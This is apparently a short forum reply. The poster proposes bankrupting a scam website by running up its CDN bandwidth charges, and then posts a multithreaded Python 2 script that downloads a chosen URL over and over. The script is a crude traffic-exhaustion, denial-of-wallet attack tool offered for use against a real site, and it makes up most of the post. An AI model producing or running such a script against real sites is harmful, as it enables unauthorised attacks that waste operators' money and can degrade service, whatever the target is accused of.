ericbize
2017-01-08 18:03:32 +08:00
好像,那个网站有 cdn , 跑死了就没戏了,慢慢跑,跑流量 1T 300 元,可以跑到小贼破产啊 ~~~~
import urllib
import urllib2
import threading
import time
print 'ctrl and z stop the program'
thr=input("how many thread do you need : (the thread should be lower then 10 , otherwise gg)")
cycle=input ("how many cycle do you need : ")
address= raw_input("plaese input the address")
start = time.clock()
def printf(i):
for x in xrange(cycle):
down(x)
end = time.clock()
print ' ' + 'T' + i + " " +"using: %f s" % (end - start)
def down(x):
url = (address)
d=urllib2.urlopen(url)
data = d.read()
print x,
def test():
thread_list = []
for i in xrange(thr):
sthread = threading.Thread(target = printf, args = str(i))
sthread.start()
thread_list.append(sthread)
if __name__ == '__main__':
test()